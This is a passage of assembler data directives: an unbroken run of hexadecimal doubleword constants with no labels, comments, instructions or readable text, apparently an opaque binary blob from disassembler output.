26376C4Ah, 6B0F5C82h, 8D103F4Ch, 963E1C59h, 0B882B9F8h dd 9F4B2D9Eh, 844D6750h, 0F0353EC3h, 50BF4BD8h, 0E2A6BE9h dd 763F0CA7h, 9500EFB2h, 0B1A956E0h, 67F4021Dh, 4A5B7B5Eh dd 89C0B85Eh, 0B718299Dh, 1EE2D7B0h, 0AA509100h, 0B05E9A11h dd 0BB8497D4h, 0A4D3B809h, 52D78CFEh, 5B4BE5B8h, 7ABEBF94h dd 0D90071BAh, 9785EA17h, 4CB05057h, 8273EE23h, 0D26EC256h dd 0EC8F3A8h, 565B9780h, 471DC2h, 5893C79Ch, 263EEC81h dd 8C9CF57Eh, 0D44A56E9h, 15103302h, 5CDBD7CAh, 9D024C5h dd 0A9732EC5h, 0A8B52Dh, 65116F18h, 8018330h, 0CFCBD381h dd 342E5B5Fh, 0C47BACADh, 9EEE26B3h, 0FCE08017h, 5ACA9805h dd 4BD9ECDCh, 9801D7CCh, 27024EF5h, 0C1384948h, 0CC95BF0Fh dd 0D29DA00Dh, 21964F5Ah, 0C8A06EE4h, 504F5C20h, 3D005EA2h dd 0CA8A47ABh, 0F9009356h, 84235FCBh, 9D83D1E8h, 38378D10h dd 4068639h, 0B3492C34h, 965F3481h, 3BB9842Dh, 0BB796D1h dd 13AEDC47h, 9BF2D28h, 4D9F0872h, 31827F71h, 5703B59Dh dd 2E44511Ch, 80DA058Bh, 0F096B2CBh, 6F45A307h, 11A33Ah dd 0D928764Dh, 3A2D37FEh, 72340DB0h, 0F4238734h, 95C8B42Ch dd 0C5461D41h, 0A8BD9FA4h dd 0E010C80h, 902F7F4Ch, 12215EACh, 567CB3D2h, 0B5A5F08Bh dd 4B02148Bh, 2B8154F9h, 440601BDh, 5A6DAD33h, 0D3122417h dd 658857B2h, 1BA9B541h, 8F9A4B0Eh, 67455D80h, 0CA0D1209h dd 0FF698D29h, 5C718502h, 27C61C8Ah, 26DE47DCh, 8AD7D8Ch dd 93A0F09h, 5C233985h, 0B5F5DA0Ah, 7EA40377h, 0AE807C86h dd 4B7AC5Fh, 0E90331F9h, 3C97F2FFh, 154BF116h, 269A58Dh dd 34E23FA9h, 0A71E1270h, 0E3B2E0h, 0C9B02946h, 4525CFh dd 53AD2E7Fh, 7AC42C41h, 81B51897h, 641805EFh, 0AD903716h dd 50D8C782h, 8D9FA37h, 0F912F99Eh, 0ED5EAAEDh, 5AAABCECh dd 293AE0CCh, 5959983h, 3AD0A52Ah, 0AAD2C39Bh, 1B051112h dd 21FB1D91h, 3DE8AB4Dh, 163ABCCCh, 0C8D2514Bh, 0C904017Bh dd 0E6FAF6Eh, 6E4B2CBCh, 0EE97093Fh, 3A627823h, 86A75290h dd 505B6098h, 0B8E179F9h, 0F6C401A8h, 0E8465B27h, 0D0B268B3h dd 1B1510E1h, 0E54F9890h, 4D77E29Eh, 4532E0C5h, 0F8518B86h dd 7AD46BE6h, 805A2AABh, 4948A1B0h, 4F3804E6h, 8196026Ch dd 41FB99Eh, 0ADD383B9h, 0E3A85Eh, 274AA3EFh, 0FF0CC9BFh dd 3B6ED15Bh, 0FAF44A00h, 9FBB0E4Eh, 6026EB14h, 56512AFh dd 868895F3h, 9F7B58AFh, 89D370CAh, 165588h, 81026A61h dd 5618A9C3h, 1D1E5BD6h, 0F564951Eh, 0F4FB709h, 0F85131h dd 0D869961Bh, 0F6032536h, 0B521A966h, 15A5B8EFh, 0E07B178Dh dd 780D04DDh, 0D100AB88h, 0E769BB50h, 90682523h, 0D00716B7h dd 8F00A32Dh, 2C89BCDDh, 92B52FBh, 0A75C1FF9h, 7227E9E8h dd 53E92596h, 0B1C2A771h, 9AF709ABh, 17047C94h, 790B01F2h dd 2F43F52Dh, 15DA9D74h, 9005D6CFh, 0FBA33556h, 0AF364BC0h dd 3B670087h, 53DF1DCAh, 350307BBh, 475AC8A3h, 0A8BC8C5Fh dd 90F94D02h, 6A759589h, 4DB6FF09h, 1DCBE9Ch, 5DBF05DBh dd 2F7DC0E3h, 1623596Bh, 162CF05h, 615999BEh, 273C6276h dd 0C0E14DFFh, 0CC57E55h, 2BFD7E8h, 0E0A6B773h, 0BF091943h dd 0E7D0D9F3h, 99BD006Eh, 4D62E3A0h, 0B197DE7Ah, 0DF49FE6Dh dd 0D9B8CAA0h, 50410CCAh, 0FE8B6195h, 3816DA97h, 50C097E3h dd 71E45B16h, 812865BEh, 314A9F8h, 0A7DB131h, 71C947A5h dd 16DC23C5h, 63B821ADh, 6779D9C9h, 0E19D0305h, 3FC136B4h dd 0D2986660h, 20F0883Eh, 5661042Dh, 0D8BF8B7Ah, 0D9445E5Ch dd 2CD18B06h, 1167C309h, 0D18933E9h, 0C970D42Eh, 9085D879h dd 5C821E3Dh, 8853122Fh, 6900C2F7h, 0F1DCA04Ch, 9130C3h dd 73A4F8D2h, 0F781089Ah, 0C168EC03h, 615B5F1Dh, 0A2BF6840h dd 424A2F74h, 65A47D11h, 503DE943h, 69218517h, 925D8D24h dd 49476045h, 0C252A327h, 0C5115E03h, 0E36C431Ch, 0A5F21808h dd 5AFE2086h, 24097383h, 7B2FE7CBh, 310C0805h, 0CD5C1025h dd 6A060012h, 0B0B4619Fh, 992F8589h, 314A7918h, 6A330512h dd 0B92F7DB7h, 5BAFF0FEh, 5F3870B0h, 0B3E3365Bh, 95DDD34Ah dd 0CA2C04CAh, 3DC10CEBh, 0F70EC02Bh, 0A6E5293Bh, 21180D2h dd 0CF4ACD58h, 0D0C15FA8h, 946F9D89h, 5A69ADEEh, 12BCEEEDh dd 8766D1Ch, 0CE96A4C9h, 176DB7D6h, 0B529614Eh, 2D2E25CDh dd 266A7F4Fh, 73609A00h, 14B8E316h, 4B8A7B4Bh, 26C380C0h dd 0B725FA8Ah, 1327C5F3h, 0A1A770h, 0AB618C5Fh, 0E052D72Bh dd 86BB3BA4h, 9A364700h, 0D10306FDh, 0DD6E1095h, 656D079Bh dd 0E0DB2344h, 0A3677F54h, 78DA4201h, 6160BA2Ah, 252BAD21h dd 8C8EEC56h, 4C5B4A2h, 9D0B5F45h, 5BCBB0FDh, 0F3E1897h dd 0D750A28Fh, 5BC9C690h, 6A67D001h, 0E9401566h, 7CB8DB20h dd 0E1FF000Eh, 4DC8DB81h, 14973036h, 5292050h, 0C5FB8B25h dd 1F351A51h, 3CB75Fh, 9286BCA4h, 0EB0BE2A0h, 840B7D1Bh dd 5049087Ch, 0B1C5C24h, 1311D45Fh, 0B3F6E819h, 0BF34BC86h dd 0DA00BC6Ah, 0E35BB2FEh, 58198CBFh, 95701AECh, 0BE605574h dd 0B901DC4Eh, 1A7B6F82h, 61343DD1h, 0B1EAD2F7h, 7EC93A9Fh dd 261ACB7Fh, 0B9088856h, 957F3F0Eh, 0F29FD1E4h, 7CB7000Ah dd 62B01C43h, 5A3B5DCCh, 219989BAh, 88A07005h, 0D4B91Ah dd 93D0E77Fh, 0C8A130B3h, 97379800h, 1D2CE819h, 91249701h dd 0A0DEBE1Fh, 0A562CBC0h, 5712FBACh, 602CDD4h, 5513ED85h dd 9D76C314h, 6E9C1B4Bh, 0F503FFCh, 566042DBh, 0BCD65F52h dd 50DC5B69h, 0FC13C79Fh, 2E7B922h, 60BF0BA1h, 8409559h dd 38EC0268h, 0D88B03B9h, 1307A854h, 8B99A63Bh, 0AFBD74F1h dd 27D339Ah, 5CED8DD1h, 0F7EF2F0Bh, 1F36F260h, 9497000Ch dd 8EABBE2Ah, 0E91CDE8Ah, 0D42702A8h, 6000DEF1h, 18E01078h dd 0B8D20DADh, 27692557h, 0B4C09856h, 0C189B2h, 0D93419DBh dd 14536AE2h, 0B971940Bh, 0C1875670h, 0A2181BDh, 946E4Fh dd 4EA3132Eh, 9F3152D5h, 3AD58642h, 0E0716DA8h, 356E2F1Eh dd 6153401h, 0EFDBD0Bh, 8494BB00h, 0C6168825h, 7A02B35Bh dd 8994405Fh, 0DC359C06h, 3CBC1A04h, 15AEA80Fh, 0AA92AA53h dd 61D94DCDh, 0B6B2D5F2h, 0AE506EF3h, 45460B6Eh, 0FC04D652h dd 3402BAF9h, 0C0B5FFBFh, 27199A7Fh, 10FB6106h, 4A611378h dd 69F3B360h, 816159D8h, 49306EBBh, 3C293A52h, 303B532Fh dd 7D2C48D2h, 8E8DA601h, 0C3FFB9F6h, 0F1FBDCh, 3D0AF920h dd 0F5B73CBh, 4BBF3158h, 0DDE256D5h, 8E1F4E60h, 0B4014FF0h dd 5B6BA8B6h, 0FAF087DAh, 0DCBA091Ah, 98C237D3h, 543832DFh dd 0DFD0407Fh, 3104B26Ch, 61991B07h, 0BB035FE9h, 463B3C74h dd 196007CFh, 0BDA74457h, 0E42F7D5Bh, 14BC0133h, 0DB639D6Fh dd 1005F143h, 4B0DD3Bh, 5F5E565Dh, 57F08861h, 0ECB758EEh dd 0ADC704B2h, 0B85CE83Ah, 0BCDCD1D2h, 0C2804807h, 26299508h dd 0DBB70F00h, 92565390h, 318B964Fh, 0E4C5BFD2h, 0DCCB41ECh dd 2DB8C451h, 85D4703Fh, 611DCC40h, 6A6197CAh, 0B8903990h dd 9A754B16h, 0C017C8F0h, 0F57198E2h, 61A7619Dh, 0B4E9333Fh dd 0FFC3F612h, 0AED2BCE3h, 0F2008B6Bh, 6A737492h, 0C613CA1Ah dd 17898928h, 22021452h, 16D75F53h, 9D307046h, 57D0115Bh dd 0D7ED3F82h, 0F6FEF380h, 21E928C2h, 23047F8Ah, 0EEDCB80Dh dd 0E198E696h, 3B385C22h, 540A616h, 0AE0975D7h, 0D6C93738h dd 1B47B05Dh, 2B8F9C97h, 0DBCB03B6h, 3B59E212h, 0AA79A8h dd 0A62CE19h, 1675E848h, 0C2935377h, 0F60C3226h, 29F125C3h dd 9295C1C6h, 3A377F2Fh, 647801BDh, 0CB81FC8Ah, 4BC254E8h dd 1D88D2Fh, 41FB1A0h, 1D25B904h, 441FFD13h, 912BDDC7h dd 91288401h, 0CE9521E2h, 77CBC462h, 898EB9D3h, 0B2D7CBFh dd 0A9D33165h, 17B6E6D0h, 0A12BE780h, 80532BACh, 0BAA5EAB7h dd 0B8802261h, 0F94AB339h, 0EBE85Bh, 1E36B3F9h, 2A359C9Dh dd 0BE0558B0h, 707655F0h, 18C79201h, 952B6163h, 0F616BB5Fh dd 8211AFA9h, 9EE15E03h, 0CC78342Bh, 87090D42h, 78F37715h dd 5F0F40C7h, 57891A97h, 7C2FE341h, 1D089E3Fh, 0D8743233h dd 8509EBB0h, 1613D120h, 0ACA9BB66h, 31AD1245h, 7BA7AFEh dd 0D3883301h, 528BE570h, 7F7E48ACh, 132EE110h, 1CA35096h dd 8B704B58h, 0E229E6F5h, 16DB7C50h, 0A3BFAC39h, 0CD1A1053h dd 315F0F12h, 9684D68Dh, 0BFC071ACh, 42FBC69Ch, 5BEB8012h dd 0EC9373E2h, 6EAE4AACh, 5F0170F3h, 0BD03594Eh, 0ED2A2799h dd 0EFBB1CC9h, 0FA57B789h, 707CBB41h, 270608E0h, 1A79BD89h dd 0EF801660h, 0F3AA3059h dd 8E15EB87h, 81928CC4h, 15F98D29h, 0BC87752Eh, 0AB868097h dd 1D696636h, 85C9B988h, 255DE1A4h, 0DD370423h, 0D177B90Dh dd 12E6BC98h, 45C9112h, 0B80E4D1Eh, 2993E296h, 2F90100Bh dd 0ECF01E3Dh, 0A27FA900h, 3862A4F9h, 0AA47008Bh, 0AB5AD43Eh dd 3A97DF4Ah, 0D4277CABh, 0B04A920Ch, 2FC10CA0h, 0BDE4D74Dh dd 2F1D9A00h, 2A212437h, 5BB13B9h, 1427A02Dh, 0F5FFD09h dd 0D4664A8Dh, 0C69EC3B1h, 4CDBAA85h, 0EA5501C0h, 0E5AE8DBh dd 0B52797A0h, 17E4CE6Fh, 0BABB067h, 9F5AE99Bh, 0B629CBB1h dd 0DD0B9EB8h, 78F94A75h, 8B2E4086h, 4F92C14Dh, 0A6D254E9h dd 926A041h, 0C45500E3h, 90C59C4Dh, 5007DE8Ah, 5FF98B57h dd 0C1E8ED8Bh, 20FE31EBh, 2551ED4Fh, 2E362150h, 16BB3D25h dd 0F85ABDFEh, 94DA02B6h, 0F275F5AFh, 0BABB8882h, 0F88A0EC0h dd 0ED920997h, 601C0CDh, 4605DC1Fh, 17FD9D2Bh, 410D1AF4h dd 16B77C05h, 0E84E09Ah, 6232CCEBh, 227D9000h, 15980630h dd 0E3650602h, 9089C4D1h, 98800F2Fh, 609ECF9Bh, 0BD291A32h dd 1697224Dh, 58C09B62h, 380147B9h, 7E6914B6h, 0D239E371h dd 0B921C9C4h, 7856C967h, 0E45F4A0Eh, 2341FDB9h, 0EFDBAC84h dd 0A229B89Ah, 0B2022971h, 9FD5241Dh, 891491ADh, 3FD164B8h dd 2FF3697Ah, 215122BFh, 0EBB35005h, 0BF5BE49h, 0BE29D528h dd 5D93D494h, 39A7C958h, 87051FA5h, 0C139F8BDh, 12C21F3h dd 8E2B54E9h, 0BAC51EF4h, 78DC5BA5h, 0B7971B86h, 0EF4889E9h dd 1AF1B802h, 0AF706555h, 0A2006935h, 685F3AFh, 0FBC427DBh dd 0BA1FA5E4h, 94C04DA9h, 2DF557E2h, 939E00F6h, 0F781E061h dd 2900FD6Ch, 99BF5F24h, 9C09B0A7h, 46D838C3h, 30A85B27h dd 3D67A4DFh, 7A5389CBh, 6E02917Ah, 0DB37EC48h, 94998685h dd 0A479AC5Fh, 9226ABFh, 0A7C29E97h, 5CF9C9C5h, 0CECD5AD5h dd 95D3560h, 4B3D4ABDh, 8F53FFB3h, 3E27DC70h, 0F68E7651h dd 0BB606F47h, 67418783h, 0BE76B0A2h, 0C922FD0Bh, 5D6D357Fh dd 4A4CF25Ah, 0C82A62D9h, 0C6B5879Ah, 0B0FA2D93h, 2C4D0340h dd 9870E680h, 24AB55Dh, 0BF136056h, 0BA623EEh, 0BDD14D5Eh dd 132EFBB7h, 0B530BA4Fh, 4A398D09h, 59C0E604h, 0C157409Eh dd 0A624B2D6h, 0D06754ACh, 0B35C0995h, 8FD8A42h, 26410CD8h dd 7AC5D13Dh, 2E47E9DFh, 0A608799Dh, 0FC331A7h, 16227E81h dd 28C3200Eh, 0ED00427Ch, 35B7EF97h, 75B2953h, 0D78032F0h dd 9D3160BFh, 12970F19h, 4B0DDE78h, 6A2510F5h, 4A1B0542h dd 0F205CBAFh, 94F00096h, 2EF86C4Dh, 78060010h, 0A41EBF46h dd 260D8BC9h, 585F5D0Dh, 0D21CCC6Ah, 60199F00h, 621142F8h dd 4F60063h, 48BC66E3h, 1EE6201Ah, 60983A97h, 0A58AB3Ch dd 3AE9747Ah, 24C562B7h, 3312DD29h, 0B9319524h, 9E1F8892h dd 16A594F9h, 0B5C9FE28h, 95B2534Bh, 7404AC93h, 3075226Bh dd 41A1DCAAh, 28D45C82h, 86539583h, 3A181659h, 0B9B84805h dd 0F72108AAh, 0D9131595h, 0A4FCC829h, 0A3FBE880h, 8AB676h dd 0CF26AD93h, 5B9EEE38h, 0D7694F02h, 0EDFCCC70h, 5EA1EF2Ah dd 4185661Ah, 6A1F8DB2h, 8B53E2D9h, 7BFA85BAh, 896A021Fh dd 503E32A9h, 0B6245A6Fh, 0CBB7C4F2h, 0CDC389DBh, 0D2AC0F05h dd 0F15C5B2Fh, 6D8C044Bh, 818060EEh, 0BA1224F3h, 0B7E64E60h dd 0C53018B2h, 689F4CDEh, 604CCD5Ah, 2960F1D5h, 0AE5CDF71h dd 0E24E4A71h, 2BB6F411h, 4B11BDA0h, 0C0FCCD95h, 0F1C2A27Eh dd 0D100C975h, 0E781EB59h, 135E6EBBh, 0EABD0316h, 0DE24B52h dd 7E48768Dh, 56F011F6h, 0F20B8067h, 7EAF2F85h, 0AAAF24F4h dd 68BD9546h, 60970801h, 0FA201096h, 0B0558AD5h, 9CADBD55h dd 0E1FF09A1h, 1500EA51h, 0BC2B92B3h, 0DAB850DFh, 6D58249Fh dd 91A00952h, 5B421379h, 0D2010704h, 1CD7126Dh, 27636941h dd 0C8C0D9CDh, 0B634C0h, 0BD2B1928h, 9D0BACB4h, 0BC061D20h dd 0CC52534h, 0EC25F21Dh, 5B4B0089h, 0E2798BFAh, 0CB28BECAh dd 67000EE9h, 4729E77Eh, 27AFC2A8h, 0E1E25F93h, 82953D72h dd 5C01B7DCh, 90D427AFh, 55B60269h, 0B5C52E2Bh, 2633AE2Eh dd 0BE8D85FBh, 0A697D97Ch, 12C4F395h, 0B8097D9Ah, 0CC8FA20Dh dd 973D6BDBh, 3413BDF0h, 33BA5024h, 94006062h, 0D6EB9F7h dd 7612E51h, 0AF27BB90h, 0B96AF5B5h, 1E9BC86h, 3A754D3Fh dd 3B8596DFh, 3720D000h, 0E46C2968h, 48B72FDBh, 0D61D8FF8h dd 0B727F597h, 0C1E90029h, 317B9C3Bh, 0DF507BB8h, 84BCD90h dd 5AF9C19Ch, 1000A689h, 0E9092629h, 90DB024Eh, 6DC87D0h dd 0BC068C2Eh, 0A12D66E8h, 0B1D25B1Ch, 2E244998h, 880F8671h dd 0BF36253Fh, 418A5F16h, 73C26125h, 0B0773B77h, 12840CEh dd 5E7E2CF3h, 0EF0C2F4Ch, 0FAA286A0h, 0A3C9EC04h, 60B9DF8Bh dd 7D8C15ACh, 0F5C6C6CEh, 0BD31DF0Ah, 689D309h, 0E1F01476h dd 58CEE9A5h, 16A73325h, 0D0B62935h, 1CA98D9Dh, 2A6C1397h dd 0B5E3DD12h, 0F45C6246h, 0C77B0387h, 0C18D0408h, 2CD0AC97h dd 782E09D0h, 19A5250h, 0B1BF40DDh, 2288024Ch, 310FEBCDh dd 585A2E60h, 9FA25398h, 23B77Dh, 6C209B7h, 0D5092D9Ah dd 0A2B2993Fh, 57B5FF5Ch, 4702DB3Fh, 6040BC1Eh, 841BC98Ah dd 7668DF07h, 2A9588Eh, 2E028929h, 0F2D461E9h, 0C100D54Bh dd 0AAE69B80h, 5A3BD701h, 616B7FA8h, 0B06B103Ah, 0E31B4712h dd 61705025h, 38BF1D40h, 0A25307Ah, 37952AC4h, 687B82B9h dd 0A36BB4DFh, 990CF27h, 3A9AD15Eh, 46487880h, 4C40120Fh dd 6630E902h, 707CEEBFh, 0C31C86Eh, 0DB8A0E80h, 2CCF348h dd 0FDE3F1FCh, 8471FE55h, 0DF366225h, 5D049237h, 2AAE889Eh dd 0E1BC8B27h, 5700019Eh, 0C127CF80h, 23A0415Fh, 0E2D6103h dd 59DC0935h, 8635EB3Dh, 3A3C5985h, 190C02FBh, 12551B8Ch dd 78E8753Eh, 1709F361h, 598DAA94h, 93A4770h, 863DDDh dd 34B0FEE8h, 3627A026h, 101456FDh, 27E9130Bh, 0F34D1688h dd 9FDF8100h, 2316D412h, 4FBA45E3h, 0D10B2D6Ah, 55021FA1h dd 3002FF5h, 972A59BDh, 8725471Ch, 35EBD04h, 0E6A1A659h dd 80E78180h, 7028AA13h, 0D252DB8h, 4E0B6DC7h, 0C023D404h dd 10D8237h, 0F03D3Fh, 0D76BD4B5h, 7D1C6792h, 0E3F301B4h dd 6ED5D3BFh, 0D6D37C21h, 0EDD324ADh, 40A1A87Ch, 354B5DFFh dd 0BF345D9Dh, 15CE951Fh, 0A5B795h, 4B2E3588h, 0A30977C5h dd 8ECDFB92h, 4D8197BDh, 1B657CD2h, 0E50BE62Ah, 90466FB9h dd 0ABFE8A12h, 18236E6Bh, 2DC57025h, 6F28675h, 37D5918Ah dd 9CA3800Eh, 0EDAF7C43h, 57B6E217h, 0C7D075ACh, 4AB4A25Bh dd 19C8BDDAh, 89FAD2C5h, 0A55C89F4h, 0E8415C01h, 9F525F5h dd 0D62C567Ah, 0AC1F1A46h, 3B78402Ch, 0B531E7C5h, 8587ED48h dd 0F0B604C2h, 0DA2134E0h, 0D7A22506h, 5CB4C943h, 50806D61h dd 51952920h, 0E1B20B5Ah, 0AC10EDD6h, 9FAE0140h, 36F1D905h dd 0B057E69Ch, 4BBD8592h, 0D534BE15h, 0FA7912BFh, 1DCF898h dd 9509CDD7h, 2BE403E1h, 0AB637E99h, 0A3E72807h, 2E540C2h dd 0BCC94415h, 7F6A12F8h, 3603613Dh, 9082B891h, 1789751Dh dd 0DD303595h, 1644443Fh, 3600846h, 508091ACh, 4BBAAEBBh dd 93D5923Ah, 0C01078D2h, 0D9E02C50h, 0F29C2E4Bh, 4B11F831h dd 6BEA9D0Ah, 258DADD8h, 61711EF1h, 964B4EC4h, 0B47E6C89h dd 68647C5Ah, 46B70B0Eh, 0ACD46E93h, 59608BFDh, 72030288h dd 540C207h, 558A1385h dd 6D004F44h, 0F72E69E4h, 5B38893h, 9E666597h, 6D17BA43h dd 4A0FC2B0h, 0B281E62Ah, 0A7743016h, 0F18DE64Bh, 0C1C1647Ah dd 9C163D82h, 95228D1Bh, 1CC4BF6Dh, 98544E60h, 0DFCF2302h dd 886FE9D5h, 932812CFh, 30515682h, 8AE67B00h, 9C4123h dd 0B32535B9h, 7C74E5A2h, 5B3AEE00h, 0DA7BEF81h, 0C22AF35Eh dd 405E17FBh, 0D4157C5Ah, 560F4A00h, 16361B0Eh, 90240148h dd 63AD25BBh, 45292F28h, 0EA8C943Bh, 1C80219Bh, 0F6500DEBh dd 957EF09Fh, 0D548DB51h, 8A0E0211h, 0AF12C6DDh, 0D4D066C9h dd 57250051h, 0EA2990CEh, 1E974CA7h, 0D4139EF9h, 0EC99B100h dd 0A0744976h, 0A4D60234h, 18D1BD01h, 5E0FE902h, 7A4E2B05h dd 8B9661FDh, 969DB17Ch, 1A9E88C1h, 1500C6EEh, 0FB44FD20h dd 46CAE8Fh, 1E8DB653h, 0CB15BCEAh, 89B1C290h, 0D56F55CAh dd 1F1BE425h, 474128CEh, 0F3A4B94Dh, 37C00C91h, 7D019F16h dd 6BA23167h, 9B6A5F15h, 1AB2C4DFh, 0AF000CE2h, 5019EFF9h dd 5F012C62h, 87073DAh, 6F3F6AD7h, 4F831F63h, 0C09C3954h dd 0E622A387h, 0B8F10003h, 0CFC593E2h, 6F0B4461h, 536ABD8Dh dd 0BE7478A6h, 272FCD01h, 3DE09B0Ah, 0F3C1A03Bh, 0C8FC0628h dd 7BCB7D25h, 9721D00Fh, 80B3533Fh, 0FF2E4DCFh, 4F852931h dd 0E15A12F1h, 0B8ED6D7Eh, 293016ABh, 916B0E57h, 0E45F2510h dd 2B420770h, 906CEA4Ch, 0CD013D58h, 0FCD4C802h, 489055B9h dd 0ED07B32Fh, 81569B3Ah, 4C015A8Ah, 64EDE03h, 77CAF9F1h dd 7A960AB7h, 18159004h, 0AFB4ADBCh, 6004246Ah, 0ABF780D2h dd 0F50F5C98h, 88C5276Eh, 6BEDF80h, 17A7B98Eh, 0BD1FF55h dd 635E41ADh, 0BDB9787Ah, 0C9961537h, 2E03E882h, 92FABFC7h dd 90E50E86h, 0DB524800h, 0A8ABB0h, 6A82C006h, 0D5BF6002h dd 2BBB590Eh, 0D74F6266h, 2EE2D861h, 1D5C81DDh, 1E0092Fh dd 9BE15BEDh, 0E830ED10h, 0ED195AD9h, 952B8017h, 5DE56A84h dd 1396A74Ch, 0E9CB9153h, 0C2382F55h, 66CB4087h, 4A8FBF48h dd 3B3F2A6Eh, 350C2501h, 895CBA9Ah, 7B18797Ch, 84F5A5AEh dd 0F1AEC31Ch, 746E6F13h, 0E7467000h, 8BC13EE1h, 31ECFB5Eh dd 4D371EC0h, 0A7FC5D7Dh, 8C602D00h, 0C60CC030h, 3503258Ah dd 352D9EE5h, 0B50A0FADh, 9806D3A0h, 9497667Ch, 5883939Bh dd 5F1C4F21h, 33025787h, 5EC53559h, 7E2BE89Bh, 7127BC07h dd 7260EBCAh, 90AA99C7h, 254525EFh, 467EC35Ch, 0B1007E18h dd 0BF942BCAh, 5C6C7274h, 8113EF40h, 127AEA15h, 0F6F5A612h dd 131E21ADh, 404E38Ah, 0B04067E3h, 14D58502h, 4070E602h dd 387C80BAh, 0B8CA5F33h, 858904ADh, 0C21F2341h, 43295537h dd 0EB099157h, 6AEF8110h, 5844C17Eh, 277743B3h, 572AEAFCh dd 6495EA50h, 40B30057h, 33870BE7h, 5F1C9E36h, 0E2A5E380h dd 4F7BF4B3h, 4A549040h, 0CA3CD6A2h, 366C00AAh, 0E5AF4421h dd 0BA716BFh, 42A2C8C7h, 3EBC7C07h, 8DA1E9F6h, 0A07BFD2Ah dd 5B811636h, 36A457C6h, 76E68053h, 31095F52h, 0FD072985h dd 0D1558832h, 33BB02F6h, 11503081h, 0B283297Eh, 6EA1D7FBh dd 0D02C5BDh, 4E7D7430h, 0C84CB81Ch, 0AB06A518h, 42457104h dd 0B8BA166Bh, 169D22D8h, 0BB615853h, 0BD948C34h, 15051D81h dd 1D9C622Fh, 0B5597C2Ch, 4A5E125h, 1F8BFE1Eh, 0D38161E8h dd 9A672FFBh, 0F7E84CE2h, 51806837h, 0ABAE947Bh, 0BC174E5Eh dd 0F30B2576h, 0AA1A12CFh, 6A4EC0CAh, 95F85F37h, 0BB0EB602h dd 8B821930h, 0B9012691h, 0F62A0848h, 0A87E0085h, 0CA39EAE3h dd 0F66E9DA3h, 980A120Ah, 0CD25A809h, 85FBE2C7h, 5205DD41h dd 0CD7DFCD4h, 3AA8E06Fh, 8274F94h, 6091E21Ch, 9C870F77h dd 0D0644C7Ah, 679B2A0h, 0A4F95B95h, 97B0A25Fh, 37FF00A9h dd 225F8366h, 0B398FECAh, 0DC1E3631h, 56D7CF80h, 82B9CC16h dd 0A33EE6E4h, 1648FB7Dh, 0DE07C9D8h, 5ADA800Ah, 9453F31h dd 22DBD0Bh, 0D3521B74h, 63E55092h, 86E82300h, 7C2D4B36h dd 2EDE8111h, 16C8219Ah, 0FEC44DC5h, 0BD4F66BDh, 0BAE8FCh dd 8D62A347h, 188C0F12h, 74E0F59Ch, 0FDCEFAh, 59CC3E52h dd 0EEBABC18h, 3F84881Eh, 4A92ECAAh, 79F0599Dh, 2E9D2E30h dd 8057FC2Fh, 140AE6FBh, 0F0042E8Dh, 3FF10203h, 4CE6B905h dd 6091739Dh, 2FD59D81h, 0E514419Dh, 2FA00DFAh, 0D5606628h dd 8CBC4051h, 0B897661Ch, 60404F2Fh, 68488ADDh, 6773BF04h dd 5AE869ACh, 0B53160C1h, 82406BC5h, 0FF61C68Bh, 25D098E1h dd 0B15E0245h, 0C214DC71h, 442B134Fh, 0C485006Dh, 5A880FDh dd 0DE02F8FCh, 0E7183AD4h, 516374D3h, 14C80FD1h, 0D1818BC4h dd 56022D59h, 0F81FC8C1h, 149D5B6Ah, 465255Eh, 4D4045EFh dd 16C8FA46h, 0E394660Bh, 0BD090438h, 60011F21h, 0FA3D9D0Bh dd 7725B2D5h, 0CE7BF4A0h, 89D8B2Ch, 0E90BB47Ch, 0D4CF5E1Fh dd 87001A46h, 0FAAEB506h, 0C0979360h, 7BF1A575h, 29CD2789h dd 502F9B46h, 0D072FB01h, 4B49E240h, 5DC55ECAh, 23D56BAEh dd 0A30C1314h, 0BC5B49B6h, 0E6082D69h, 0F134435Ch, 5BDAC1BFh dd 4A602CCFh, 17E0BDF6h, 0A80285B5h, 0F85C6390h, 109B5EBEh dd 0BD2F732Bh, 0F6BB9241h, 3BD141DDh, 0BFFFFC8Ch, 6B655704h dd 29AE5F62h, 8AECFCB4h, 0B0766331h, 0CA6BF98Bh, 28C862C6h dd 0F80AC4E6h, 0E6584EF8h, 8F0FE022h, 173B0172h, 5C15AA6Ch dd 0B2342E2Ah, 81C075E8h, 0A74552F3h, 425CE1A2h, 4BF38ED4h dd 8726FA94h, 0F59200Ch, 23FE912h, 308984ACh, 0DEA3F0D3h dd 1E54278h, 7DA2DBD4h, 2B04BF8Ch, 0A39632E8h, 0D7862D0h dd 0EC207620h, 244B31A6h, 0F6D685A2h, 0AADBA05Bh, 22CE00Ah dd 8FCC74F5h, 95D7D98Ah, 0F8BC42D9h, 23312560h, 7E189A9Dh dd 1B04D440h, 0D0C1FC3Ch, 0A64BEB8Ah, 0E08AA279h, 16BC3A72h dd 0ECF5CDDCh, 2E844E7Eh, 120E6EAAh, 0E3FC4D4Fh, 0FAB90B80h dd 5A51D351h, 0CEE26EE6h, 5688FF92h, 9D33125Fh, 962E4985h dd 9E82AA02h, 0E328274h, 7182DDDBh, 9605F6B3h, 0BC0149Bh dd 6346E4A4h, 55147A25h, 4C743A1Ah, 40F7586Bh, 567D6814h dd 51706B27h, 0A50B8072h, 0D2FD4EFBh, 0F61EC3Ch, 22A8C329h dd 69B63F4Ch, 0F3B5F18h, 7424A928h, 0DDDBEB70h, 0C56A6480h dd 96274A70h, 0F63FC27Ah, 0AC5C2708h, 11B46D6h, 6B4F8DA1h dd 74E4EF40h, 20534A50h, 34A2F003h, 8649A800h, 7C8344C5h dd 0D095016Fh, 53316951h, 14E13E5Fh, 6E3EE321h, 96958EDh dd 0FB12AD8Dh, 5D18B15Dh, 1610132h, 8F4E3578h, 0BB660403h dd 12AEC472h, 8DDAE277h, 847B2934h, 0E9A0468Fh, 37BF1744h dd 1DFE0166h, 0FC830CEBh, 294BD2B1h, 0E35AF1E8h, 9D09BBF2h dd 71BD1CB9h, 9BB3B484h, 0CEA7CBE8h, 377AAB93h, 9BF0FA00h dd 339E9636h, 0BC21604Fh, 26DC7AB6h, 57B10203h, 23ABB93Ah dd 0FC859152h, 607B7098h, 0EBD10CBFh, 0C12E3A22h, 10A3B295h dd 923A31h, 3071EDCCh, 6A830A3Fh, 0BFD4189Dh, 4E057B1Bh dd 81258C03h, 0BBBCEF04h, 71AF4912h, 21E65F3h, 444E650h dd 7D4E7B03h, 8A72C180h, 0BA343F62h, 69C762DAh, 657CD048h dd 68179EBDh, 228260A8h, 1C84090Ah, 616BD209h, 555F5Ch dd 0BF770F51h, 84314A5Ah, 